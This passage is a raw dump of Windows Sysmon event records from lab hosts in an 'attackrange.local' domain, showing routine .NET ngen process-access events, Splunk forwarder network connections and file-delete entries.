icrosoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.037{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-9E09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.027{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-9E09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.027{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-9E09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.375{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59257-false10.0.1.12-8000- 10341000x800000000000000044637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.958{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F67-613B-AD09-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.949{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F67-613B-AD09-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.949{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F67-613B-AD09-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.918{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F67-613B-AC09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.911{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F67-613B-AC09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.911{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F67-613B-AC09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.740{7BD73061-6F41-613B-0109-00000000F001}6672ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6F50.tmpMD5=9E936C2078B286132CD6B9C8602FD17A,SHA256=FA994BADB1E90B2629E0D955572CA57EFE97169D20D6B4957E2F830E3680DA9E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.648{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E73BA62F00F0791B9291E8A8EACCA915,SHA256=196DBA916A913369D5FC2AA2582BDE39CB33A5AD73F59CF52DBBFDF0369B9C86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.638{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000044628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.628{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F29-613B-3508-00000000F001}7032C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.628{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F67-613B-AA09-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.578{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F1E-613B-3D07-00000000F001}5296C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.538{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F67-613B-AB09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.538{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F67-613B-AB09-00000000F001}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.508{7BD73061-6F1E-613B-4007-00000000F001}70245644C:\Windows\system32\conhost.exe{00000000-0000-0000-0000-000000000000}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.508{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.508{7BD73061-6F1E-613B-3D07-00000000F001}52962756C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe{00000000-0000-0000-0000-000000000000}5816C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.DLL+3d7ae(wow64)|UNKNOWN(0000000000FE4853)|UNKNOWN(0000000000FE4504)|UNKNOWN(0000000000FE54CE)|UNKNOWN(0000000000FE2845)|UNKNOWN(0000000000FE0F66)|UNKNOWN(0000000000FE0950)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+f066(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+1230a(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+185eb(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+199407(wow64) 23542300x800000000000000044620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.498{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=754DDD6F5A270D4DF7609EA0421B12AD,SHA256=D28124EDF435FFEB98A0A721D55360505F766ACD003783CD7D0C31D03FA42D0A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.478{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F67-613B-AA09-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:55.478{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F67-613B-AA09-00000000F001}1056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013969Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:54.980{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50122-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000013968Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:55.447{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15AB5686FECB74342D90ED5890E1E0E5,SHA256=92472C498C2800BC25E9CD5605F74B05CD1A85533CC41BD54F8AC5ED7810CCA4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013971Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:55.589{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50123-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013970Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:56.478{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08345AFFA3BA495386700FCB8DC8001B,SHA256=6B6D1B50F49A1321DE3D81460B219ED386DDBD4E95C36CE19B22ADC74D849930,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000044658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.960{7BD73061-65AD-613B-0100-00000000F001}4SystemNT 